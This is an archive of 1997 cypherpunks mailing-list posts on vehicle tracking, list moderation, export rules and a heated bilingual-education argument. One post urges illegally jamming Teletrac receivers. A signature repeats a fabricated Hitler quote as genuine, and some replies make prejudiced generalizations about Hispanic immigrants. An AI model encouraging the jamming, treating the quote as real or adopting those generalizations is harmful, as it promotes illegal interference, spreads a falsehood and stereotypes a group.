>radio signal to a computer, which pinpoints the car's street location.
>Police with the
>proper software can follow a transimitter-equipped vehicle in real time as
>it moves across a
>street map on a computer screen.
>

I'm quite familiar with Teletrac's technology.  It consist of a receiver,
very similar to a pager, tuned to about 930 MHz and a transmitter (up to a
50 Watt peak power) operating in the unlicensed 902-928 MHz band using
direct sequence spread spectrum coding.  The service acts by sending out
'ping' messages to mobile devices on the pager channel and triangulating
for the their return pulses via a rather dense chain of stations in each
city/area covered.  This is very similar to how aircraft transponders work.

There are at least three straightforward countermeasures to Teletrac.
First, look under your car.  Teletrac requires a relatively good antenna
placement.  The box should be visible.  Second, a sweep by any professional
surveillance service will surely find it.  Third, any competent RF person
(e.g, an amateur radio operator) can retune any number of narrow band 900
MHz RF comsumer electronic devices (e.g, cordless phone) to jam the
Teletrac paging receiver and disable all such devices in your proximity.
Please note this is not legal, but your unlikely to get caught.


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 5 Jan 1997 19:05:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: EAR Amendments
Message-ID: <1.5.4.32.19970106030146.0067cce0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We have revised the hypertext EAR to include 
amendments of the four succeeding revisions:

  License Exceptions, December 4, 1996, which 
  amends Parts 732, 736, 740, 742, 744, 746, 
  748, 750, 752, 758, and 770.

  Licensing of Key Escrow, December 13, 1996, 
  which amends Parts 734, 740, 742, 762 and 774.

  Computer Revisions, December 23, 1996, which 
  amends Parts 740, 770, and 774.

  And the latest: Encryption Transferred From 
  the USML to the CCL, December 30, 1996, which 
  amends Parts 730, 732, 734, 736, 738, 740, 
  742, 744, 748, 750, 768, 772, and 774.

-----

At the same URL:

   http://jya.com/eartoc.htm

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Sun, 5 Jan 1997 19:06:22 -0800 (PST)
To: mwohler@ix.netcom.com (Marc J. Wohler)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970105175238.006a3b9c@popd.ix.netcom.com>
Message-ID: <199701060306.WAA22463@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Marc J. Wohler sez:
> 
> I have the utmost confidence  in Sandy and his efforts to revive the
> quality of our list.

Metoo....

The alternative was to unsub.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 20:24:18 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060306.WAA22463@wauug.erols.com>
Message-ID: <199701060416.WAA04436@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


David Lesher / hated by RBOC's in 5 states wrote:
> Marc J. Wohler sez:
> > I have the utmost confidence  in Sandy and his efforts to revive the
> > quality of our list.
> Metoo....
> The alternative was to unsub.

I do not have confidence in Sandy, nor do I have preconceived confidence
in anyone else's abilities to be a good moderator. Moderators, like
governments, are potential dictators, and a lot of confidence makes them
only worse.

Moderation may or may not be a good idea, but it is important that 
readership keeps a close eye on their rulers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ronald Taylor <raiswell@netspace.net.au>
Date: Sun, 5 Jan 1997 15:22:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tell me more
Message-ID: <32CF8F1D.4C9C@netspace.net.au>
MIME-Version: 1.0
Content-Type: text/plain


how does it work




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 20:30:48 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
In-Reply-To: <3.0.32.19970105202032.00691618@192.100.81.126>
Message-ID: <199701060425.WAA04596@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> 
> At 09:02 PM 1/5/97 -0600, Igor Chudov @ home wrote:
> >With STUMP robomoderator, the great majority of posts are autoapproved,
> >because they come from preapproved posters. In the newsgroups moderated
> >by STUMP, moderators review only a small fraction of incoming messages.
> 
> I like this. Seems that list moderating technology has made some progress.
> 

Thanks! Actually the statistics is that in the groups moderated by
STUMP, the proportion of autoapproved articles eventually settles 
around 85-90%.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 5 Jan 1997 19:39:47 -0800 (PST)
To: gnu@toad.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <Pine.SUN.3.94.970105222016.23091B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain



> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
> 

[...]

> dropped or modified.  Even before we start, though, you may
> wish to contribute suggestions.
> 
> The following is our general plan.  I'm sure there will be
> questions that have to be answered as they arise, but the
> basis outline is a follows:
> 
> 1)  The test will run from January 11 through February 12.
> 
> 2)  I will review all incoming messages for purposes of
> preserving decorum and reducing obviously unrelated spam.  Other
> then that, I will not overly concern myself with off-topic posts.  
> I will, however, expurgate all posts containing flames, insults 
> and other irrelevant personal attacks, as well as spams, before
> forwarding the remaining posts to the Cypherpunk list.

A specific statement of what constitutes "flames, insults" and etc. might
be a good idea.

How will borderline posts be dealt with?  Posts that contain a great deal
of content and thoughful discussion and still manage to contain flames?

Will flames be an automatic boot for a post (zero tolerance), or will they
be balanced against post content?

What is the threshold which, for example, constitutes an "insult" ?

"Louis Freeh couldn't identify a directed well managed crypto policy if it
bit him on his pimple speckled ass."

"You are so turned around on this issue one is prompted to wonder if you
have any background in higher education at all."

"For the new members of the list, [insert list member here] has a history
of posting idiotic and useless posts, and generally wasting the list's
time like an asshole."

All of the above?  None of the above?

> 3)  Cypherpunks who wish to read all posts to the list may do so
> by taking advantage of either of two optional lists.  The first
> (cypherpunk-flames@toad.com), will consist solely of messages
> expurgated from the main Cypherpunks list.  (Those who subscribe
> to "flames" will be able to easily monitor my moderating
> decisions.)  The second (cypherpunks-unedited@toad.com), will
> contain all posts sent to Cypherpunks.  It will be the equivalent
> of the current open, unmoderated list.  It will appeal to those
> who don't want list moderation.

Excellent idea.

> 4)  During the test month, polite discussion of the test will
> always be on topic.  In the last few days before the 10th of
> February, I will call for opinions as to whether moderation
> should be continued, modified or eliminated.  John has agreed to
> abide by the consensus of the group with one proviso.  Because of
> the large volume of bandwidth eaten by the lists, he does not
> want to maintain both the "flame" and "unedited" versions of the
> list.  If list members decide to continue to have the list
> moderated, one of those lists will probably have to go.

I believe the "flames" list should be maintained as long as possible.
Continuing checks on the moderator (whoever it may be) are necessary and
appropriate.  What better way than to directly provide a means to identify
what the moderator has excluded?

(Also, if the flames and non flames lists are maintained, how is this more
bandwidth than the former condition where both flames and nonflames will
posted together?  In fact, if this has a deterant effect on flames (one of
the main reasons for instituting the policy) the bandwidth should be less.
Its only more bandwidth if the unmoderated list is maintained.

Perhaps the unmoderated list should be eliminated, as subscribing to both
the flames and the non-flames will have the same net effect...?

> 5)  If list members decide on a moderated list, I will be happy
> to assist in the ongoing process.  Though I will continue to be
> available for duty as moderator from time to time, we will need a
> set of rotating volunteers to take turns acting as moderator. 
> Volunteers are always welcome.

A diversity of moderators makes a detailed stated policy on moderation an
absolute must.

> 6)  Because every message submitted to Cypherpunk will be posted 
> to two of the three sister lists, I don't intend to lose much
> sleep over whether or not this or that moderating decision was
> perfect.  I will do the best job I can, within the constraints
> listed here.  If I err, it isn't fatal.  Everyone who wants one
> will have two Cypherpunk venues for their posts.  Sounds fair
> enough to me.  What do you think?

Excellent until the flames list is eliminated.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Sun, 5 Jan 1997 14:43:35 -0800 (PST)
To: sandfort@crl.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <19970105224324.3104.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> I agree with Sandy Sandfort and many others that things have gotten
> way out of hand on the list.  He and I feel that the only proposed
> solutions likely to succeed involve inserting human judgement in the
> cypherpunks posting process, rather than mere automation.  So I am
> supporting this experiment, primarily by setting up a few more mailing
> lists on Toad and by automatically moving the current set of
> subscribers to the moderated list.  You will be able to move
> yourselves back to the unedited list if you don't want to participate
> in the experiment, or if, partway through, you decide you don't like
> the results.

Have you considered using a system like NoCeM (see http://www.cm.org)?
I think such a system has many advantages over centrally controlled
moderation.  The basic idea of NoCeM is that instead of moderating a
newsgroup or mailing list, people post lists of articles to be
ignored, and you can configure your mail/newsreader to pay attention
to NoCeM's by whichever people you trust.

NoCeM would prevent any message delays which moderation might
introduce (sure, I might see the last few hours worth of spam, but at
least when I come back after a week away I don't have to wade through
a week's worth of "Timmy May hurt my feelings, blah blah blah").  This
means the more frequently you read the mailing list, the more spam you
will see--quite an acceptable trade-off given that people who check
the list often are probably those who would want to avoid message
delays.

NoCeM would also prevent anyone from accusing you of censorship.  Even
if such accusations are weeded from the list (via moderation), it's
still a drag to lend credibility to such asinine accusations by
actually blocking those people's posts.

NoCeM would ensure that no one is held legally responsible for the
contents of someone else's messages.  If we continue to get important
messages like implementations of the RC2 and RC4 ciphers, a moderator
could be found responsible for approving such an article.

Obviously there are some issues related to NoCeM.  Not all mail- and
newsreaders support NoCeM.  However, there are definitely solutions to
those problems.  For instance, a perl script could be used to delay
messages and apply NoCeM's, so that people can subscribe to customized
filtered versions of the list.  I might even be willing to write such
software if there is interest.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 00:46:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v03007801aef4d95b7746@[207.167.93.63]>
Message-ID: <32D0A08D.62BC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> (If you think our list is bad, you ought to see lists which are completely
> dominated by one-line witticisms and inside jokes....)

  Or 10,000 messages saying only, "Merry Christmas", followed a few days
later by another 10,000 messages saying, "Happy New Year".
  Anyone who needs 'proof' that I am speaking the truth, here, (and who
has a 10Gb hard drive), can just send me their email address, and I
would be glad to forward them.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 5 Jan 1997 22:49:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <3.0.32.19970105225048.00911a60@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:56 PM 1/6/97 +1000, Robert Barnes <rbarnes@gil.com.au> wrote:
[snip]
>My bottom line feeling with respect to this is that we cannot
>expect freedom unless we are willing to exercise responsibility.
>It is apparent that the people who are noisiest about freedom of
>speech and content censoring are working tirelessly to abuse
>the list and provoke the very opposite of their stated ideals.

Hmmm.  There has been some of that, but some of use who have spoken about
freedom of speech have done so because of legitimate concerns, not just to
gain advantage in an ongoing, juvenile campaign.

>As for the spammers who have run riot in recent months,
>moderation will remove the burden of re-transmitting this unwanted
>garbage from the list server and save us all the time and effort
>currently wasted dealing with it.

Not completely.  The plan John mentioned didn't elimainate the full version
of the list -- it just added a modertated version.  There will still be
some garbage floating through Toad Hall, but not as much :)

I think the idea of two versions of the list is an excellent one, and it
avoids the issues raised by presenting the list in only a moderated form.
If people want the spam they can have it, and if they don't they can take
advantage of John and Sandy's work, and read a more coherent version of the
list.  I will certainly choose the latter, but it is nice to know that the
choice is mine.  John and Sandy -- thanks for getting this rolling.



Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 00:46:27 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <199701050649.WAA19140@mail.pacifier.com>
Message-ID: <32D0A866.349@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 1. Dale Thorn is very similar to Damien Thorn.
> 2. The Roman numerals in my name add up to 555. For a 'C' programmer,
>    this can be the equivalent of 666 for a Basic programmer, taking
>    one digit at a time.
> 3. If you sign (with a pen) the name quickly, using counterclockwise
>    loops only, it will look exactly like 666, which BTW was a significant
>    paragraph in a lawsuit between myself and a former employer (they
>    initiated the paragraph).

Dale,
 I can see that I'm going to have to lay in an extra supply of garlic
and silver bulltets.
 I suspect that everyone on the CypherPunks list is either an employee
of the NSA, or a member of the alleged 'Circle of Eunuchs'.  In the
words of the author of "Make BIG $$$", 
  "Email everybody, and let Eudora sort them out."

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Grantham <grantham@ucsu.Colorado.EDU>
Date: Mon, 6 Jan 1997 08:25:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: '96 Act Tech Fund
Message-ID: <32D09B34.603@ucsu.colorado.edu>
MIME-Version: 1.0
Content-Type: text/plain


Greetings,

I am a researcher at the University of Colorado and I am looking for
information on the Technology Fund mentioned in Section 552 of the
Telecom Act.  I have had little success in getting information on this
fund perhaps because the v-chip has replaced it.

This fund was supposed to be a voluntary effort by industry to come up
with an alternative to the v-chip.  The top 4 networks pledged $2
Million to this fund before the act was passed, but now it seems dead. 
The original legislation was proposed by Rep. Coburn (R-OKLA).  This
part of the telecom act is much milder than the v-chip stuff, but nobody
knows what happended.

If you have any information, web sites, new groups or articles that
might be useful it would be very valuable to me.  I am willing to share
whatever information I find and post the final reserach on my web page.

Thanks,

Jeff Grantham






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 00:46:36 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <199701052239.OAA00478@mail.pacifier.com>
Message-ID: <32D0A960.14A8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> The devil you say!

Jim,
 I noticed that if I take all of the letters out of your name,
and add the letters 'S', 'a', 't', 'a', 'n', that I get a very
interesting result.
  Are you one of 'them'?

Toto
p.s. - Not many people would have figured this out. I guess I'm
just particularly talented with anagrams.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 5 Jan 1997 21:43:53 -0800 (PST)
To: rcgraves@disposable.com (Rich Graves)
Subject: Re: Judge Bork on Ebonics
In-Reply-To: <32CF750D.7E9F@disposable.com>
Message-ID: <199701060559.XAA00336@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hello, what's this? I thought the Know-Nothing Party disbanded in
> the early 1850's.
> Steve Schear wrote:
> > The following is from pages 300-307 of Robert Bork's brilliant
> > book, "Slouching Towards Gomorrah".  This is a book which should
> > be read by everyone--and especially by liberals.
> I'll pick it out of the library when I'm done with Mein Kampf. I
> don't feel inclined to subsidize this ignorant kook with my money.

    He isn't an ignorant kook--unfortunately. He is a very intelligent 
facist. Don't dismiss him so lightly--would you turn your back on a man
with a gun?  

> > immigrants to be Americans. The schools were agents of cultural
> > unification. They taught patriotism and standards derived from
> > European cultures.
> What do any of those standards have to do with "European cultures"?
> Europe, like every other continent (save Antarctica), has a history
> of conflict among ideas and groups. Tell me, who embodies "European 
<snip>
> de Man? The mark of a bigot is that he reads history selectively to
> find "good" values in his own group, and "bad" values in some other
> group. In fact "culture" is a fractal landscape. This isn't a

     I don't recally him stating that the values from other groups were
"bad", but rather that a nation should have a common base set of values
to avoid just the kind of fractionalization that we see occuring right now.

> > Part of our national lore, and glory, is the fact
> > that youngsters speaking not a word of English were placed in
> > public schools where only English was used and very shortly were
> > proficient in the language.
> 
> Immigrants to the US today learn English twice as fast as did
> immigrants to the US at the turn of the century. Greater access to

     You don't say what percentage of Immigrants learn english v.s. 
the past. I'd bet that they learn twice as fast today only because the
motivated ones bother, the rest just try to force us to learn their language.

> There is far less regional differentiation in English dialects around
> the country today than there was at the turn of the century. Nearly
> all well-educated and socially mobile Americans under age 40 speak 
> a common "broadcast TV english."

     All three of them.

> Southern and Brooklyn accents are
> less pronounced than they were.

     Well, I can't speak for Brooklyn, but having just come back from 
trip thru the south (Tn. Ms. Ga. Al. Fl.) I can say that their accents are
as thick as a brick.

> > That was crucial to the formation of an
> > American identity Now, however, the educational system has
> > become the weapon of choice for modern liberals in their project
> > of dismantling American culture.
> Yup, that's us. It's all a conspiracy to drag America into the
> gutter.

     Deeper into the gutter.

> > Our egalitarians view every culture (other than European) as equal. 
> Nope. There is no "European culture." Only idiot collectivists of the 
> nationalist type group people like this.

     The cultural differences in Europe are minor compared to the differences
between European and Asian for instance.

     Think of it like Operating Systems. Germany is like SCO, France is AT&T,
Italy is BSD, China is Vax/VMS. Turkey is Dos/Windows (well, things do blow up
a lot there...), Libya is running CM/VMS on an 3090. Iran is using OS/2 v1. 

      Yes, there are differences between Germanic and French culture, but no 
where near the difference that exists between French and Libyain. 

> > Vietnamese and Polish children were put into English-speaking
> > classes and were competent into English long before the Hispanics
> > in bilingual schools.
> No evidence for this assertion exists.

     Do you live in a large city? Tell you what, Next time you are in chicago
let me know, and I'll introduce you to my wife. Her mother was born in poland.
My wife speaks standard middle class english. I'll introduce you to her cousins
children, their father _still_ has trouble speaking english, yet the children
speak standard english, as well as polish. They speak english with almost no
accent. Next we'll take a trip to the barrio, and interview as many children
as we can find. Want to take bets on how many hispanic children so as well? 
Hell, those kids (wife's family) go to a neighborhood Catholic School that 
is mixed polish and hispanic--the polish kids ALL learn english as a primary
language (well, almost all) where the hispanic children learn it as a secondary
language. 

     Now, I have met hispanic people who do speak good english, but they--or
at least their parents--made a commitment to being _american_ rather than 
expatriots waiting to go "home".

> No. I choose to call you on the bullshit assertion that Hispanic
> children don't learn English. This prejudice is rooted in the small
> but visible segment of the Hispanic population that comprises recent
> immigrants. It is indubitably true that illegal immigrants doing odd
> jobs and domestic work -- the segment of the Hispanic population most
> visible to sensitive anglos -- tend not to speak English.
> Extrapolations from this population, though, are invalid.

     Or the vocal segment who claims that they should have to "give up their
cultural heritage" to "fit in with the rest of society". In cities with 
large hispanic populations sometimes third and fourth generations speak 
heavily accented spanglish.
 
> Note the only evidence offered by Bork to bolster this straw man
> he's building is a similar slew of bald, unsupported assertions by a
> friend of his. He might as well be quoting himself.

     Where as you are just overflowing with statistics and evidence to
convince us that he is wrong, rather than leveling ad hominiem attacks on
the him.

> > in Washington, D.C., in its 1992 'Curriculum Guidelines for Mul-
> > ticultural Education.' "It too often demands self-denial, self-hatred,
> I see. "Pathetic whine" name-calling in reference to a one-sentence
> quote is the best you can do. At least you give a verifiable reference
> so that people can see what it really says.

     He did. More of a reference than is usually found on this list. 

> > Public dissatisfaction with the linguistic fracturing of society
> > that need be done is the abolition of bilingual education and the
> > repeal of the Voting Rights Act's requirement of different language
> > ballots.
> 
> You'd better hurry, too, so that you can disenfranchise people before
> they know about it.

     How does that disenfrachise people? It just says that if you want to
vote (intelligently is left out) you have to have passable english language
skills. It is already the case that you must have these skills to vote 
with any sort of integrity. Most of the debate on national and state issues
is conducted in english--in the papers, on radio and tv (what debate there 
is--your franchise means less than ever when your choices are reduced)--if 
you can't understand the debate, how can you pick a side? (o.b. crypto--
RNG simulating a coin toss?)

> > once they begin to see its results. Immigrant parents want their
> > children to learn English and become Americans. The opposition
> > to that, manifested in bilingual education, comes from American
> > elites who form an adversarial culture, alienated from the culture
> > of the West and wishing to weaken it.
> Who are these "American elites"? Who's in on the conspiracy? What's
> in it for them?

     Division of the "masses" into groups that can be played off one another.
     Less competition at the upper levels for them and their children (who 
you can be sure don't attend public schools). 
    
    (Ok, never attribute to malice what you can attribute to stupidity so--)
    It is even possible that these people truely believe that what they are 
doing is ethically correct, that they truely believe that American culture 
is evil, and that it needs to be changed or destroyed. I would go so far as 
to agree with them. I just don't think they are heading in the right direction.

> "Less candid"? It's always a sign of trouble when you impugn the
> motives and honesty of your opponent without providing contrary
> evidence.

     Yup. Preach it brother.

> serious college-level audience that favored "uncritical adulation" of
> Columbus. What I believe happened was that the horrors of the two World 
> Wars woke people up to the dangers of propaganda myths (on all sides;
> the anti-German "Hun" stuff from WWI is really disgusting), and

     Then how do you explain the shit shoveled out of D.C. (and other 
National Capitols) on a regular basis? 

> teachers stopped lying to their pupils. Every real historian always

     No, they haven't. 

> knew that Columbus was a complex figure.
> "Loathing and condemnation" is certainly a tad strong, but Bork and
> Bernstein are welcome to their rhetorical excess.

     These days Columbus _is_ treated to loathing and condemnation. Kids 
are taught that he treated people like slaves--and not taught that this
was common in his time. That he "plundered" the "new world", and not taught
a damn thing about the historical context that this "plundering" took place 
in. 

> > emphasis on white males, may be seen from the curriculum it
> > favors. A curriculum designed to foster understanding of other
> > cultures would study those cultures. Multiculturalism does not.
> > Courses are not offered on the cultures of China or India or Brazil
> > or Nigeria, nor does the curriculum require the study of languages
> > without which foreign cultures cannot be fully understood.
> 
> This is bunk. The straw man grows.

     Which part? In the last two colleges that I attended there were 
"Black" studies (later renamed to "Africa-America") and _some_ Chinese
(at the last college there was also "latino") In the case of the "latino" and 
"Black" or "African American" it was more a study of that those two groups
accomplished _here in america_ than in their "home lands". I should note that 
the last school I attened was an Art School, and these "muti-cultural" classes
were taught from the Art History prespective. And yes, there was (IME) a 
bit of white male bashing in many of the courses. 


> > Hence it is that multiculturalists have turned Martin Luther
> > King, Jr.'s dream into a nightmare. He asked that his children "not
> > be judged by the color of their skin but by the content of their
> > character," which, as Bernstein says, is the "essential ideal of
> > liberalism:' But multiculturalists say, "Judge me by the color of
> > my skin for therein lies my identity and my place in the world."
> 
> They're projecting again. Sure some nonwhite racists call themselves 
> multicultural. Reasonable people see through that. Old bigots who
> harken back to a nonexistent "European culture" are just as bad.

     Look at the fight surrounding Proposition 209 in california. The 
claim has been made that it is unconstitutional because it seeks to 
prevent ANY bias in either direction in the basis of race. The "minority"
"leaders" are the ones seeking to prevent it's enactment.  


> Typical BS from someone who doesn't know what he's talking about. So now, 
> as a result of the "radicals' attack on Stanford's Western Culture 
> program," what do Stanford students study? Shakespeare, Dante, Locke, 
> etc. Also Equiano and Buddha. We only gain.

     Are they studied to the depth that they were before?  

     I doubt it. 

> What is this "inheritors of a tradition" notion? Who died and left me
> Shakespeare, and why?

    Wether you like it or not, wether you acknowlege it or not, a second
rate bullshit artist from the 1400's _has_ worked to shape the character
of English Culture, and hence to a lesser degree American culture. Shakespear
basically invented the Sit-com. Great huh?

> > have been "traditionally excluded" must now reject inclusion.
> There is no such teaching.

      You know what many black peoples objection to Clarence Thomas was? 

      That he was "In the House". 

> Damn, Bork and Bernstein are projecting *again*. It's not modern
> multiculturalist scholarchip that does this, but a bigoted rooting

    It does it just as much as European history. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 5 Jan 1997 21:40:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v030078e6aef5f9db3ec6@[139.167.130.248]>
Message-ID: <FTF4ZD71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> At 9:38 pm -0500 1/4/97, Greg Broiles wrote:
> >Some evildoer has been posting messages to Usenet purporting to be from
> >"cypherpunks@toad.com"; some of the messages posted have been to newsgroups
> >frequented by the make-spam-fast crowd, so now we've apparently been
> >identified as within an especially gullible market segment.
>
> Wow. Is it really true that all we need is a cancelbot?

Use mine. It's in Phrack.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Mon, 6 Jan 1997 00:26:46 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Extremism in the defense of liberty is no vice
Message-ID: <199701060826.AAA00355@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> Rich Graves wrote:
> > Bill Frantz wrote:
> > > At 10:54 AM -0800 12/31/96, Timothy C. May wrote:
> > > >Our focus is more radical. We are effectively a cyber-militia,
> > > >fulfilling Jefferson's recommendation that a revolution happen
> > > >every 20 years. (Funny, there hasn't been one in more than 200 years.[snip]
> > >I would say that the street action which effectively eliminated legally
> > >mandated racial segregation about 25 years ago qualifies as a revolution.[snip]
> > Cryptoanarchy, as envisioned here, is not about people mobbing in the
> > streets. It's fundamentally about insulating oneself from the mobs in
> > the streets. However, revolutions tend to have unintended consequences.[snip]
> Looks like we're coming to the old "irresistable force meets immovable
> object" consensus, yes?

Interesting. I suspect that all of you have forgotton that in order
for there to be a revolution, there has to be something to revolt
against. It works the other way too: in order to have elitist rulers,
there have to be sheep. 

If you desire neither, then you have to renounce BOTH positions.

It's not easy, but it -always- works.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

         No one can make you feel inferior without your consent.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 00:53:36 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
Message-ID: <32D0BD19.1AB7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Sun, 5 Jan 1997, Dale Thorn wrote:
> > Marc J. Wohler wrote:
> > > I have the utmost confidence  in Sandy and his efforts to revive the
> > > quality of our list.

> > And I have all the confidence in the world in William Bennett,
> > George Bush, and all their wonderful helpers in helping with the
> > Boys and Girls Clubs of Southern California.
> > Why not re-elect Hitler?

> One knows one has come up with a potent weapon against one's enemies when
> they begin to panic visibly like this. The smell of fear is in the air.

Fear?  What fear?  I had a long and productive life before I subscribed
here, and what with 1,000 or so programming projects awaiting me (and
most other competent programmers), I certainly won't be wasting time
bemoaning the fact that Sandy Sandfort "won" here, any more than I
bemoan the fact that most wars anywhere are won by the bad guys.

> The question is, will the ultimate internet trump card of a distractor
> (Reference Godwin's law) divert the issue and save poor Mr. Thorn from a
> policy which is certainly going to be a devastating impact on his public
> exposure from here on out?

I'll tell you something else. If I have an opportunity to contribute to
a project that can fight censorship of this kind, I will do so eagerly.
OTOH, I have no "tentacles", nor will I ever have such things.  I am not
a communications, security, O/S, or other such kind of programmer/person,
and I will not get into those types of applications short of physically
saving my life.  In other words, if Sandfort/Gilmore cuts me off in the
long run, it's doubtful you'd hear from me again unless something is
forwarded from Freedom-Knights, and even that is doubtful.

> It does amuse me that George Bush and William Bennett are thrown out
> for fear mongering purposes before Godwin's law is invoked.

One would think you would understand the principle of using examples
to illustrate a point. The very idea that those names would automatic-
ally inspire fear is amusing.

> One would think Mr. Thorn had mistaken the list for a liberal stronghold.

Having read a lot of the crap put out by organizations from the KKK to
the ADL (all scumbags BTW), I no longer take the naive position that a
person is "liberal" (hence, one-dimensional) or "conservative", or any
other convenient tag.  Some people are liars, hypocrites, and assholes,
though, and I prefer to determine that by their actions rather than
their speculations.

> Then again, no one ever accused Mr. Dale "Snake Oil" Thorn of being
> afflicted with a strong writer's sense of audience).

You mean I don't tailor my prose to what people want to hear?
Better yet, I don't go somewhere else where maybe I would be more
welcome with my ideas?  I'm embarrassed for you, for your lack of
imagination.  And if the "snake oil" tag refers to my ideas on
crypto software (i.e., PGP), well, you have a long way to go
before you provide a serious mental challenge to me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 00:47:22 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The Problems are Gay
